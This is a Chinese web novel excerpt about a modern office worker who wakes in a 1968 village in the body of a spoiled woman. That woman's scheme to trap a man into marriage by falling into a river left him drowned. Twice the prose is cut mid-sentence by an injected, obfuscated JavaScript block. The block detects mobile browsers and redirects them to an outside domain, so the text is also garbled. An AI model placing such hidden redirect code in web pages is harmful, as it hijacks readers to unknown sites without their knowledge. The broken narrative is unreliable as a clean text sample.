《恶女总有死鬼磨[年代]》 1. 落水事件 “你到底是个什么意思?” “我就是想来问个清楚……” 钟颖紧闭的眼皮下眼球微不可察的动了动,因着入耳的争吵声而眉头蹙起,她的意识还未完全归拢,心头先是涌上熟悉的无奈和乏力。 挣扎着一手撑在床上,钟颖努力坐起身来,她的身体已经先于还未完全清醒的大脑,习惯性的要准备像往常那样去劝架。 这种事情钟颖做过太多次了,几乎可以说是从她记事起,她就一直在做父母争吵中的“灭火员”。 钟颖深吸了一口气,头昏昏沉沉的,还带着隐隐痛意,她没多想,睁开眼睛就准备下床,但下一秒她的动作就停住了。 入目是可以说是“陋室”的房屋,目光所及之处是粗糙的黄泥墙,仔细看能看到其中夹杂着的稻草,房顶的梁木大咧咧的露在外面,再之上盖着的——居然是茅草? 脑袋像是被人一锤砸懵了,钟颖脸上神情茫然,又低头看去,她居然是躺在一张木架子床上。 非常粗糙的做工,只有最简单的框架结构,毫无任何的美感和装饰,不多用一丝一毫的木料。滑落在腰上的被子是和轻柔蚕丝被完全相反的沉重棉被,床尾一个半人高的木头柜子,这些就是整间屋子里全部的东西了。 隔着房门的争吵声愈演愈烈,也越发清晰了。 “还有什么好问的,那么多人都看到了,别想赖到我家妮子身上,她自己到现在都没醒过来,还是说你过来就是想看看我闺女是不是还能醒过来,最好也醒不过来是不是?” “我不是这个意思,我就是纳闷,两个小孩之前也没有什么相处,幺儿怎么会……” 前一个女声咄咄逼人,一声更比一声高,不见其人都能听出她话里不饶人的气势;另一个女声还带着哽咽,说到最后几乎泣不成声,只是听着就足矣能听出她肝肠欲断的伤心。 钟颖仍表情空白的坐在床上,外面的人显然不止那两个正在吵架的女人,纷杂的声音一句接一句响起。 “哎,谁也不想发生这种事情的,春生媳妇你也别这么生气,队长家的肯定不是这个意思……” “就是就是,一个孩子没了已经是很让人难受的事了,怎么可能盼着另一个也……” 被邻里乡亲七嘴八舌的劝了一番,那咄咄逼人的女声再响起时已是缓和了许多,“我邓霞也不是什么狼心狗肺的人,这恩情我家记一辈子。” 一个男声接着允诺道,“等我闺女好过来了,我们一家子一定上门道谢……” 似乎又过去了一小会儿,又似乎是过去了好久,外面的声音不知什么时候归于平静,这场争吵结束了。 钟颖听到门拉开时的吱噶一声才回过神来。 彻彻底底的回过神来。 她记得自己身体不可控的倒下,那猝然离世的瞬间。 但眼前这一切她根本想象不出、极具年代感的环境又在论证着另一个事实……她穿越了,她又活过来了。 个子说不上多高的中年女人拉开门,见钟颖坐在床上,从眉眼间还能看出年轻时好模样的脸上顿时浮现出喜色,惊呼,“妮儿你醒了!” 说着女人立刻几个大步走了进来。 闻声一个肤色黝黑的瘦削中年男人也跟着探头向屋里看,双眸一亮,“颖妮儿醒了?” 从他们口中亲昵的称呼不难得出二人的身份。 钟颖的目光落到床前中年女人的脸上,这张犹带气愤泛红的脸和她现代的妈有八分相似,差的那两分不同怕是人生轨迹不同造成的,眼前的女人有着健康的日晒肤色,是一种纯天然未经化妆品保养过的质朴。 她又转头看向门口的男人,这人和她爸就长得完全不像了,无论是相貌还是整个人的气度,他看上去是个在农村非常普通的中年男人,带着一种黄土地的淳良老实。 “我摸摸你额头,不行,你现在还有点发低烧,快重新躺下!把被子盖好,先前你整个人身上发凉……大夏天的盖着被子热?热就对了,汗要发出来才能退烧。头还痛不痛?河水卷着你撞到了石头,不过也幸好,两块石头把你卡住了,这才给了我们把你捞上来的机会……” 邓霞风风火火的就把女儿重新按回床上,钟颖顺从的躺下,目光落在她脸上,算了,妈还是这个妈就行,爸嘛……随便吧。 “饿吗?我给你做点吃的?” 钟颖摇摇头,她现在毫无胃口,整个人仍然处在昏昏沉沉的debuff里,原来不是少眠造成的头痛,而是发热加上撞击伤。 “那你再睡一会儿,等睡一觉起来后吃点东西,锅里你嫂子还给你留了粥,一直热着呢。” 钟颖点了下头,身体上的不适让她闭上眼很快就陷入昏睡中。 错综的记忆交错出现,有一种光怪陆离的荒诞感,如潮涌般的陌生记忆汹涌扑来。 睡梦中钟颖眉头紧皱,一边是现代时她在游戏大厂工作的加班日常,一边是在同甘生产队的乡村生活,苹果电脑加装Windows系统都会卡顿,越发剧烈的头痛仿佛身体在警告她,一个人承载两份记忆是怎样的难事。 可就像是鬼压床般,意识挣扎着要醒过来,但身体却仍然平静如死水。 终于过了不知多久,钟颖浑身汗湿的醒过来,仿佛终于挣扎出了水面,得以喘息。 屋内已经半暗下来了,不甚明亮的光线打在钟颖床边坐着的那个年轻男人身上,他留着一头毛刺般的寸头短发,似乎已经在床边坐了好一会儿了,见钟颖醒过来,男人面色一喜,脱口的话却如以往一般语气带呛。 “我就说你眼光不行。” 钟颖扭头去看他,这人是她哥,或者更准确的来说,是生活在六十年代的钟颖她哥,名叫钟诚,四年前入伍参军,身体力行的忠诚于国家。 他脸庞线条硬朗,眉骨突出、鼻梁高挺,一双和妹妹相似的柳叶眼。小麦色的皮肤,和他身上那一身绿的笔挺制式服装很是相得益彰,就是此刻脸上表情不是正经的严肃,反而是带着家常亲近的撇嘴,继续不饶人的说着自己亲妹子,“你看看你看上的那些青年,胳膊腿细的一点力气都没有。男人还是要强壮些的才行,而不是除了聪明点其他一无是处。” 换做是他,别说是一个钟颖,再加上一个他媳妇,钟诚也有自信一手一个,把两人都从河里带上来,而不至于是一命换一命。 钟颖人还有些晃神,撑着身子坐起来,嘴巴却仿佛肌肉记忆般自己往外冒反击的言语,“呵,吃不到葡萄说葡萄酸。” “我说错了吗?”钟诚总是那么容易被自己妹妹的话点燃,他读书不太行,但为数不多的聪明值全点在和妹妹斗嘴上了,总能很明锐的察觉到钟颖的话外音。什么叫吃不到葡萄说葡萄酸,是说他脑子笨、嫉妒那些聪明人? 他想起傍晚回村子路上经过耕地时看到的那几个知青,个个都是典型的文化人形象,钟诚不喜的皱起了眉头,“细胳膊细腿的,割三、五排麦子就脸色发白,看上去弱得还没有咱娘壮实,也怪不得救个人把自己搭进去了——” 他说着猛地住了口,察觉到了自己的失言。 仿佛一下子被人掐掉声音,屋子里一时变得死一般的寂静。 钟诚的脸上浮现出一抹沉痛,即使他们小时候玩不到一块去,但任谁得知自己认识的人意外去世都会如此。 今年部队难得酌情批准了他的短期探亲申请,钟诚是趁着“三夏”农忙时分回乡的,没想到刚从部队回到同甘生产队就得知了这样的一件事,他妹妹晌午头在甘霖河边洗手的时候不慎落水,在她不远处的李霖时紧跟着跳下水去救她……最后钟颖被救上来了,李霖时却沉入了河水中。 “呼——”钟诚沉沉的呼出一口心里的郁气,抬手使劲搓了下自己的脸,“这叫什么事啊,要是他也上来了,大不了就是你俩结婚,就像娘说的,和下游的砬弯沟生产队里前一阵发生的那出一样。这小子别的我不了解,但你一直看中的聪明他是肯定有的,不然他也不能是村子里唯一考出去的大学生,可现在……” 钟诚心口窝像是沉沉压了一块石头,人情债能还,总有能还上的时候,可人命债要怎么还?这一命换一命的恩情真的是太大了。 邓霞这时从外面走进来,立刻把大儿子撵走,“我在外面就听到你叨叨个没完没了的声音!非要亲眼看着你妹醒过来,人醒了你又在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448705|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里烦她,去去去,我见着你就烦,找你媳妇孩子去,明天就给我上田里干活!” “娘你还不是每回都拉偏架,我是该去找我媳妇,只有她才向着我!”钟诚一边捂着胳膊,佯装被打的很痛,一边顺从的往外走,嘴上却是不服气,“我都四年没回家了,怎么还不稀罕我?就知道疼你那老闺女……” 钟诚不过是随口抱怨,却不小心戳中了他娘的心窝子,邓霞现在可听不得“老闺女”这三个字。 农村人结婚早,女孩们大多十六、七岁订婚,或是到了十八就直接嫁人。钟颖今年二十一岁,从过了年之后生产队里就有嘴贱的闲汉开始对着邓霞调侃她家钟颖再不抓点紧就要变成老姑娘了。 想起来就气,邓霞本来只是做样子的巴掌一下子就落成实打实的,力度十足的呼到钟诚胳膊上,这下真没好气的撵人了,“快滚。” 邓霞把儿子赶走后紧接着就把门关上了,她走到刚刚钟诚坐的凳子上坐下,也是忍不住沉沉叹了口气。 “唉……” 钟颖都怀疑自己床边是有什么叹气触发机制,每个坐在她床边的人都忍不住叹气。 邓霞看着钟颖,脸上表情复杂,“现在村子里的人都把这事当作意外,还好现在正忙着‘三夏’,当时谁也顾不上别人。” “三夏”是“夏收、夏种、夏管”的简称,北方的生产队在“三夏”时期进入“战斗状态”,收割冬小麦、油菜,播种玉米、大豆、棉花等等,管理农作物追施肥料、农药喷洒、除草……这一系列的工作都要在一个多月的时间内尽快完成。 麦收怕雨,秋粮播种晚了又容易遇到霜冻减产,“春争日,夏争时”,人与天气赛跑,拼的就是速度,争得就是实实在在的粮食。 每逢农忙时分,整个同甘生产队的村民们都会在队长李明的带领下扎进田地里,几乎每个人都绷紧了脑子里的那根弦,争分夺秒,天蒙蒙亮就下田,顶着炎炎夏日弯着腰一干就是一天,每每到天黑才收工,只有中午吃饭的时间能稍微休息一会儿。 中午那点宝贵的休息时间,田间地头上的人们四散找阴凉地方吃饭,有人匆匆吃过几口就躺在树荫下阖眼小憩片刻,也有人走去田地旁的甘霖河边洗去一脸的汗水,用清凉的河水舒缓着烈日带来的燥热。 意外就发生在人们这最松懈的时候。 在听到落水声后,村民们纷纷看过来,那时他们看到的就是年轻男女已经双双掉进甘霖河的那一幕。 落水其实也算不上什么大事,甘霖河毗邻同甘生产队,村民们大多小时候就往河里跑,没几个人是不会水的。 更何况落水的两人都是二十来岁的青年人,游上来也不是难事,可谁成想当时河里会有暗流,再擅长凫水的人都难逃这种搅动吞噬的力量……总之非常令人难过,最后大家七手八脚的把卡在河边石缝里的钟颖拉上来,可李霖时这个深受村民们憧憬的有为青年却遗憾长眠于河水中。 邓霞脸上闪过悔恨、悲痛,最后化作一句后怕的感慨,看向女儿,“虽然这么说很对不起李家四小子,但……还好你没事。” 钟颖看向她,心情也是说不上的复杂,这个犹在庆幸的母亲不知道,她的女儿其实也已经不在了。 邓霞见女儿脸上只显露出微妙表情,以为钟颖被整件事魇住了,跑了神,她伸手捏住女儿的手,力气很大,“你听娘说,这就是一场意外,我们谁也不想最后会变成这个样子,所以,他的……死……” 她的呼吸变得有些急促,压低声音又快速的继续说道,要说服女儿又像是说服自己,“你别放到心上,你又不是想要他死,所以这不怪你,这就是一场意外!” 邓霞咬咬牙,“要怪就怪我,山神娘娘在上,要有报应都报应在我身上,我死后下地狱!” 钟颖反手握住手心里已经渗出冷汗的手,此刻她也忍不住叹了口气,有些头疼和发愁,这都是什么事啊…… 是的,这并不是村民们认为的那样,不是英雄救美却长眠河水中的怅然憾事。 钟颖从原本身体里的记忆看到的是另一个视角,是“钟颖”自己朝河里栽进去的时候出其不意的伸手把人拽了下去。 2. 她想要她得到 不怕坏人绞尽脑汁,就怕蠢人灵机一动。 钟颖躺在床上,静静地数着房梁,脑子里想到的就是这句话。 第二天早上,烧终于完全退下去了,钟颖也终于理清了。 她穿越到了1968年,这里是北方的一个小山村,先前叫同甘村现在叫同甘生产队,死而复生的代价是被动接受原本“钟颖”的一切,包括那笔人命债。 “钟颖”是同甘生产队里最特别的女孩,比起她娘邓霞这个十里八乡有名的泼辣妇,这姑娘是青出于蓝而胜于蓝、辣上加辣的“魔鬼辣小辣椒”。 所有同龄男孩们在小时候犯过的贱,还扎着两个羊角辫的小“钟颖”都是直接一拳一脚当场就还回去。有人不服气想还手?没看见钟颖背后还站着个高高壮壮的钟诚吗? 所以在长大后,男孩们变成了男青年,村子里又普遍早婚早育,他们和适龄的女孩们变成一对接一对,“钟颖”还没个着落。 毕竟七八岁的时候被踹也就算了,没人想二十来岁、三十来岁,甚至是直到七老八十了,还被媳妇踹,并且不能还手,谁让她背后的钟诚也变得更强了。钟诚去当兵好几年都没回来了?那生产队里不还有个钟颖她娘,四五十岁的婆子可是仍算作是壮劳力的,正是战斗力最强的年纪。 这样的媳妇,这样的大舅哥,这样的丈母娘,怕是睡觉都要睁着眼。 所以即使“钟颖”是个挺漂亮的姑娘,笑起来张扬得亮眼,但……他们是找媳妇,而不是找揍。 而被视作洪水猛兽的“钟颖”对此也不是很在意,她也看不上那些男的。 也许是因为和自己哥哥互掐着长大,对彼此“相看两厌”,兄妹俩的择偶喜好都是和对方截然相反的人。钟诚找的媳妇苗素云是个非常温柔小意的性情,而“钟颖”则是更喜欢聪明的斯文读书人,村里那些她见过他们小时候光屁股疯跑的同龄男青年真的不是她的菜。 不过随着年龄的增长,“钟颖”在这种同龄人一个个成家、甚至开始被调侃说成“老姑娘”的环境中,不可避免的也开始着急物色起嫁给谁好。 和其他女孩听从父母之言的嫁人不同,像钟诚自己看中苗素云一样,“钟颖”也获得了同样的权利。 两兄妹只差了一岁,哥哥没有哥哥的样子,妹妹也没有妹妹的样子,从小吵吵闹闹又争又抢的长大,家里看门狗的所属权两兄妹都争了好些年,最后还是钟老爹四处打听又抱回来了一只小狗崽才平息。在结婚这种人生大事上要是不能“端水”,“钟颖”真的会闹破天。 如她这样的张狂肆意,当然是有恃才无恐。 “钟颖”上有一个哥哥,下有一个弟弟,她却是家里最受宠的孩子。 她哥钟诚,皮猴一个。 同甘村依山傍水,依颖山而建,沿甘霖河而耕,村民们信奉山神娘娘,对颖山有着天然的敬畏,再加上山中出没的野兽、长虫(蛇),大人们明令禁止孩子们上山玩耍,就这样的耳提面命,钟诚八岁的时候都敢带着狗三进三出颖山,被邓霞拿着扫帚追着打也不长记性。 “钟颖”的弟弟钟信,比她小六岁,性格内向腼腆,生产队众人赞不绝口的老实孩子,却也是邓霞口中“八杆子打不出一个屁”的闷葫芦小子。 长得最像邓霞、性格也最像邓霞的“钟颖”自然在皮猴和闷葫芦的衬托下,成为邓霞这个家里实际话语权掌控人的心头好,从小娇惯着长大,毫不意外的“长”得有点歪。 这姑娘被宠坏了。 在这个还信奉父母之言婚嫁观念的山村里,“钟颖”自己相看青年、挑挑拣拣的行为可以说是出格,并且更出格的是,她还看中了两个。 本来是一个的,今年同甘生产队上和其他生产队一样分配了知青来插队,不多,两男两女,个个都是“钟颖”喜欢的那种读书人,她在其中筛了一遍,看上了其中最斯文清秀的程彬。 但没过多久,出乎同甘生产队所有村民的意料,考出去的“金凤凰”、在首都上大学的李队长家的小儿子居然作为返乡知识青年回来建设家乡了! 所以“钟颖”看中的对象变成了两个。 屋里屋外都静悄悄的,昨晚她娘邓霞走前就和钟颖说过了,家里其他人一早就都去上工了,钟颖的工分由归家的钟诚代做,她只安心在家里休息就行。 所以钟颖才能天都大亮了还赖在床上,她睁着眼睛继续放空的想着,不得不说,这姑娘想的是嫁人的事,其实思考方式更像是找工作。 程彬就像一家刚创业的小公司,“钟颖”嫁给他那就相当于做合伙人,优点很明显,她看中陈彬这个人,是她喜欢的类型,以及很自由(没有公公婆婆在眼前)。 但缺点也很明显,公司只有两个老板没有员工,一切都需要靠自己,甚至必要时候还需要“钟颖”家里帮忙“融个资”(知青下乡只带了自己的行李,住在统一的知青点,要结婚的话还需要“钟颖”家贴补盖房子什么的),以及时不时打个下手(目前看这些才下乡不久的知青们还没有适应农作的工作节奏)。 而如果嫁给后入围的李霖时,那就像是进入一家已经发展得很好的家族企业,他爹李明是同甘生产队的队长(相当于村长),李明和刘红艳育有三子一女,小儿子李霖时是其中最有出息的。 以前是“考出去的大学生”,现在是“返乡的大学生”,李霖时学的又是农业机械化专业,同甘生产队的其他人那是把他当生产队下一任队长来看的,觉得他一定能接他爹李明的班,未来继续带领大家搞好生产。 年轻有为、前途无量、还没对象。 “钟颖”几乎没再多想一分钟,就很愉快的让程彬淘汰出局了。她甚至美滋滋的想,也许嫁给李霖时之后,她还可以得到他现在那份记分员的工作。 毕竟男人嘛,就要把轻省的活计让给媳妇,这叫疼媳妇,就像她爹钟春生自己把每天的工分干满,干得都是犁地这种累活,让她娘邓霞做一做除草、间苗这样的轻体力活计。 “钟颖”已经将这份记分员的工作视作囊中物,甚至让曾从六嶂公社中学读书的弟弟钟信给她补了课,学起了算术。 至于这两位男青年想不想娶她,对她抛出的媚眼其实毫无反应,“钟颖”也不在意。 她真的被宠坏了,和不懂事的小孩一样,信奉的只有一条——“她想要,她得到”。 在听说甘霖河下游的砬弯沟生产队上一名女知青意外掉进河里,被另一位男知青救下,两人随即结婚,缔结出一段佳话的事情后,“钟颖”便“灵机一动”,决定照搬,拿下李霖时,加入(嫁入)李氏集团。 邓霞也是看着李霖时长大的长辈之一,在他还小的时候就很喜欢这孩子。人比人气死人,李霖时和钟诚同岁,自己儿子牵着狗整天想去村子旁的颖山上探险,而李霖时则老老实实去村小读书,这样好的孩子怎么就不是自己儿子呢?邓霞不知在心里感叹过多少回。 听说女儿看上他了,邓霞自然再支持不过了,亲眼看着长大的孩子,那可是知根知底,可比那些外来的知青好多了。 落水救人,这确实在思想还很保守的六十年代是个很直接、快速的赖上李霖时的办法,钟颖想着,又默默把其中过于直白的两个字眼改成了“嫁给”。 如果按照设想发展,这会是个恶女摘得高岭之花的故事,可偏偏意外发生了。 她没想过、但还是害死了一个前途正光明的青年人,而这个有些贪婪的女孩也为自己的行为买了单,用她自己的生命。 钟颖的心情是说不上来的复杂,原主捅下的大篓子现在要她来负责了。 都是被惯坏,别的熊孩子也不过是在商场里撒泼打滚要东西,最多是长大后被这些录下来的黑历史嘲笑一番;原本的钟颖简直可以说是猴孩子,大圣级别的,直接把天都捅破了。 钟颖闭上眼,深吸了一口气,套用每年的“年终总结”来安慰自己,只是换掉了个其中的几个词。 “虽然穿越了,但是没有一醒来就是已婚、没有塞不回去的孩子,”用微不可察的声音念叨着,钟颖感觉自己内心慢慢平静下来,甚至松了口气,“开局也不算太差,而且又活一次,还年轻了六岁,很好,未来可期。” 重新满血复活的钟颖在日上三竿、鸡都叫累了的时候终于起床面对她崭新的人生了。 一拉开房门,明媚的阳光毫不吝啬的洒在钟颖的身上,仿佛给她镀上一圈金色的边,额前的碎发被微风带起,她仰头看天,不禁有些晃神。 有多久没有见过这样的太阳了,钟颖想不到答案,只能想起自己日复一日奔波在赶去上班的清晨地铁、写字楼永远拉下来的遮光帘和披星戴月离开公司时的一身疲惫。 长期的996生活,钟颖甚至觉得自己今天居然睡到了自然醒很是罪恶。 不对。 钟颖忍不住给了自己一巴掌,当然没用力,她只是想要打醒被职场pua的自己。她怎么不配睡到自然醒了?这点她要向原主学习,原本的钟颖可从来没想过“配不配”什么的。 自省过后的钟颖回过神来,就见前方院子里原本正在和一只大黑狗玩的男童一脸惊恐的看着她。 钟颖和小豆丁大眼瞪小眼。 半晌后,小男孩似乎也反应过来了,立刻本能的朝钟颖讨好的笑笑,稚声稚气的说道,“姑,你打了自己,可不能再打我了哦~” 钟颖:…… 眼前这个看着还没狗高的小孩是钟诚和苗素云的儿子,今年三岁,却有个超级加辈的名字,他叫国强。 就是钟颖印象中也不知道哪位叔叔伯伯的名字。 但加上他的姓,钟颖真的很难说这个名字不好,只觉自己叫一次这小子的大名就会红色值加一、爱国值翻倍。 钟国强还在努力朝自己越发凶残的姑姑示好,“娘做了饭在锅里,还有鸡蛋!我按照奶说的,只吃了一个,还有一个留给姑姑。” 小豆丁人虽小,但已经隐约明悟了自己的生存之道。 作为这个家里目前唯一的第三代、最小的家庭成员,自然是有好吃的所有人都让给他,仅排除他姑。 所以钟国强小朋友不怕那个很是陌生的爹、不怕会打屁股教育他的娘、不怕泼辣厉害的奶奶,整个家里钟国强最怕的就是他姑钟颖,有好东西她是真抢啊!现在他姑还会自己扇自己巴掌! 这太可怕了! 钟颖还不知道自己在这小屁孩心中形象已经扭曲成魔鬼,还暗自欣慰,这儿子比爹可乖巧多了,换做是钟诚,那鸡蛋八成会被他藏到旮旯角里,再换来妹妹满院子追着打才能老实掏出来。 “这么乖,准你和红糖再玩一会儿。”钟颖大手一挥说道。 红糖是家里看门的那只大黑狗的名字,它就是钟老爹后来抱回来的那只小狗崽。 这就不得不说起钟诚钟颖兄妹俩小时候的旧事了。 原本被兄妹俩争夺的看门狗叫香椿,名字是钟诚起的,因为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448706|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱吃香椿芽炒鸡蛋,这也是当年小钟诚一口咬死香椿是他的狗的理由。小钟颖才不管,非说香椿更喜欢她,就愿意做她的狗。 两人为着“香椿到底是谁的狗”从1953年冬天一直闹到了1957年的夏天,两个十来岁的孩子都各自当哥哥姐姐了也没个消停。钟春生不想媳妇照看着小儿子还要为这两个大的生气,四处打听,从邻村要来了一只小狗崽,给两个孩子彻底做了分割,香椿归钟诚,小狗崽归钟颖,这才结束了兄妹俩之间的“拉锯战”。 夺回了自己心爱的香椿,钟诚当然没了意见;钟颖也消停了,她比着哥哥给大黄狗起的名字,给自己的小黑狗起名“红糖”,她只见过一次这种红到发黑的“奢侈品”,冲水喝甜丝丝的,她好喜欢。 时至今日,家里只剩下了红糖,香椿五年前寿终正寝,长眠于颖山山脚下的一棵香椿树下。 钟颖走到院子的那口井旁,从装满水的水缸里双手捧水,扑到脸上快速洗了一把,拽过搭在旁边绳子上的毛巾擦脸。 这根从屋檐下一直拉到院外枝头的绳子上还垂挂着一面巴掌镜,老气的红色塑料包着边,却是这年代最洋气的东西,还是她哥当了兵后家里才有能力置办的。 钟颖到这时才从镜子里看到自己现在的长相,和她很像,或者说是和上大三时的她很像,那个时候她也才二十一岁。一张偏圆润的鹅蛋脸,还带着稚气未消的胶原蛋白,明眸善睐,灵动俏皮中又带着些原身的“娇气”。 不过最重要的,钟颖忍不住凑近镜子,想要看得更清楚些,然后忍不住低声感慨,“气色真好啊!” 她现在这张脸其实并没有特别白皙,额头上还有一块显眼的青紫,但自然的肤色透出血色的红晕,唇不点而朱,不是钟颖研究生毕业后在大厂高强度上了两年班就熏出了一身的“班味”。 穿越前钟颖就在体检中检查出了长期熬夜加班导致的肝功能下降、胆红素代谢异常引发的黄疸,那时她已经肤色蜡黄,还曾和朋友自嘲自己变成了“小黄人”。 “汪汪汪——” 原本趴伏在地面上的大黑狗突然猛地站立起来,对着门口发出凶狠的警告叫声。 “咦,外面有人吗?”钟国强奇怪的歪头。 钟颖停下欣赏自己这份气血充盈的美,也扭头看了过去。 大上午的,这个时间生产队里男女老少能算作劳力的都在田里忙着“三夏”,就连钟颖她弟钟信这样的半大小子,都充当半个劳力去了地里干活,现在留在村子里的除了钟颖这个大人,也就是些钟国强这样的小孩子了,可这么大点的小孩子谁家不是关在家里?尤其是溺亡的事情才刚发生不久的当下,可不敢任由他们三两结伴的在外面耍。 可红糖还在对着院门狂吠不止,甚至凶狠的露出了犬牙。 “外面是谁啊?”钟颖高声问了一句。 可等了好一会儿外面都没有丝毫的应答。 只有一直叫个不停的犬吠声。 钟颖心里莫名有些发毛。 虽然从原身的记忆里看,同甘生产队民风淳朴,虽然人们身上大多都有各自的缺点,但总的来说还真没有穷凶极恶之人,多少年来也没发生过什么骇人听闻的事情。 但钟颖本就还在努力适应新环境中,属于现代人的警惕心犹在,她没有直接拉开门去看外面到底是村子里的哪个人,而是透过院门中间的缝隙向外看去。 门外的土路上分明一个人都没有。 要么是真的没有人。 要么是对方躲在她的视觉盲区,比方说……那人此刻正贴着门板站着,所以她才看不到对方。 这个猜想在脑海中浮现的瞬间,钟颖胳膊上的汗毛就立刻竖起,原本清爽的微风都似乎裹挟了某种瘆人的凉意,令她后脊梁发寒。 过往看过的那些社会新闻快速从记忆深海中一一浮现。 冷静,钟颖努力告诉自己,虽然现在家里只有她和一个才三岁的小孩,其他人都在田间地头务农,属于一个叫天天不应、叫地地不灵的情况,但情况还不至于糟糕透顶。 她可以带着小国强躲进屋子里,等到家人们下工回来,就算对方真的突破院门闯进来了,钟颖也可以找些工具,和红糖一起“迎战”。 不过首先还是要先确认对方是个怎样的对手,不要因为未知的恐惧就吓破了胆,说不定就是个驼背的猥琐糟老头子,她开门放狗就能把人吓退,红糖作为她们老钟家的雌性,和她娘、她一样的彪悍。 钟颖朝钟国强勾了勾手指。 “我们去那边墙头,我抱着你,你悄悄探出头去看看门外到底是谁。”钟颖说着,声音不自觉的压低。 钟国强不解,但立刻点点头,三岁大的小孩觉察不到危险,只有一种探险般的兴奋感。 这小鬼头不算特别重,钟颖站在另一处院墙下很轻松的掐在钟国强的腋下把他托高。 钟国强按照他姑说的,小心的冒出个头。 片刻后。 “也没人啊。”童声稚嫩,带着不加掩饰的纳闷和疑惑。 钟颖变得有些快的心跳慢慢恢复原本的节奏,她松了口气,害,自己吓自己。 “没人。”钟颖转头去安抚还在叫个不停的大黑狗,“好了,红糖,别叫了,外面根本没有人……” 没人看到,木门外不远处的土地上,一块洇湿的深色被渐渐照射过来的阳光晒成和周围一般无二的土黄色,悄无声息,无迹可寻。 3. 赔儿子 临近中午,苗素云匆匆回家做午饭,做好就要带去地里,给不想耽误割麦子时间的家人们吃。她一边手脚麻利的切菜、起锅,一边对着照看了一上午自己儿子的钟颖说话,“国强没闹腾你吧?要是他惹人烦了,小妹你直接打就行,男孩子调皮,有时候不打两下根本压不住。” “没呢,我看他比我哥小时候可乖多了。”钟颖客气的说了句实在话,不过她从苗素云的话想到了上午自己扇自己的那轻轻一巴掌,不会是她打自己唬住了这小子吧? 苗素云只笑笑,没再说什么。 虽然和钟诚结婚四年,孩子都三岁大了,可苗素云和钟诚的相处也就刚结婚那一个来月,接着钟诚就去当兵了,部队纪律严格,再加上这些年听说外面形势也很乱,探亲假更是难批,这还是钟诚从义务兵被提拔成了志愿兵,今年才难得被批准了十天的探亲假。 很不自在。 这是苗素云从昨天钟诚回来后至今的感受,屋里突然多了那么高大的一个人让她很不自在,夜里难以应对的热情也让她很不自在,只是面对着这个男人,苗素云就很不自在。她和他实在是太过陌生,同时又太过亲密。 这也是为什么苗素云抢在婆婆前头,主动回家做晌午饭的原因,她更愿意和钟颖待在一起,不想和钟诚待在一起。 眼前没了那个让她不自在的人,苗素云感觉天都变亮了,她干劲满满的拉着灶台下的风箱,接过钟颖递来的柴火,想起一事,“爹娘说今天下工之后一家子要去一趟李队长家,让我和你先讲一声。” 钟颖一愣,无意味的应了一声,“好。” 该来的躲不掉,钟颖记得自己刚穿越时听到的那些对话,当时她爹钟春生就说过,等她好一些了,就一家子去登门道谢。 一命换一命的恩情要怎么道谢? 更何况真相并不是恩情,而是冤债。 钟颖心神不属,不知道该怎么面对受害者家属,也不知道现在她的这些家人会怎么个道谢法。 李家没了个儿子,把她推出去赔给李家当媳妇? 钟颖想了想很快就推翻了这一个猜测,李霖时是李家最小的儿子,他上面两个哥哥一个姐姐早都结婚成家了,第三代的孩子都有好几个了。 赔给李家当女儿? 也就邓霞和钟春生把女儿当块宝,赔给其他人家,钟颖这种奸懒馋滑、脾气还大的闺女,那就不是还债而是讨债了。 钟颖神思不属的想着,都忘记了给苗素云递柴火。 苗素云自己探身从一旁的柴火堆里拿了一根木柴,只以为小姑子此刻的心神不宁是担心去了李家会被苛责,于是安慰道,“放心,爹娘还有你哥都会护着你的。” 钟颖闻言只回过神来朝她一笑,并没有把这话听进心里。 “护着”,钟颖很少有被人护着的经验,大多数情况都是她护着她妈,挡住她爸的大多数指责。 生产队下工时天都已经黑了,邓霞一回来顾不得歇息,就指使钟春生去橱柜里拿最近攒的那些鸡蛋,又让钟诚把昨天他回家时带来的那些东西都带上。 钟颖看着老爹拿出的那一小筐的鸡蛋,还有他哥特意带回家的麦乳精、油纸包着的蜜三刀点心、四条崭新的毛巾还有一瓶黄酒,这些都是乡下人家里的稀罕物事,可为了替她赔礼道歉,全都拿上了。 钟颖心里是说不出的复杂滋味。 “小孩子怕冲撞,苗儿你带着国强在家待着。”邓霞出门前对着苗素云多说了一句。 “哎。”苗素云连忙应了一声,她仿佛看不见家里这些稀罕物都要拿去别人家里似的,脸上没有一丝不情愿,只说,“我先把晚上饭做好,等你们回来吃。” 钟颖挽着邓霞的胳膊,跟着老爹钟春生的脚步,身后是提着东西的她哥钟诚和弟弟钟信,一家子人在茫茫黑夜中朝着村口走去。 事到临头,钟颖忐忑了一下午的心突然就安定了下来。 同甘生产队的村落布局形似一个细口宝瓶,大多数人家集中在“腹部”,村口1号门牌是村小,3号门牌就是李家。 钟颖远远就见乡间土路上一点不甚明亮的红光,走近才看清,那是旱烟发出的火光。 见钟家一行人走过来,站在那户人家门口抽旱烟的男人放下旱烟袋,声音还带着些沙哑,“你们来了啊。” 男人看着有五十多岁,干瘦精壮,个头不矮,脸上岁月的沟壑纵横,不笑时分外严肃吓人,近来丧子的的悲痛又使他多了些阴沉萎靡。 钟颖很快和原身的记忆对上号,这人就是同甘生产队的队长李明,也就是李霖时他爹。 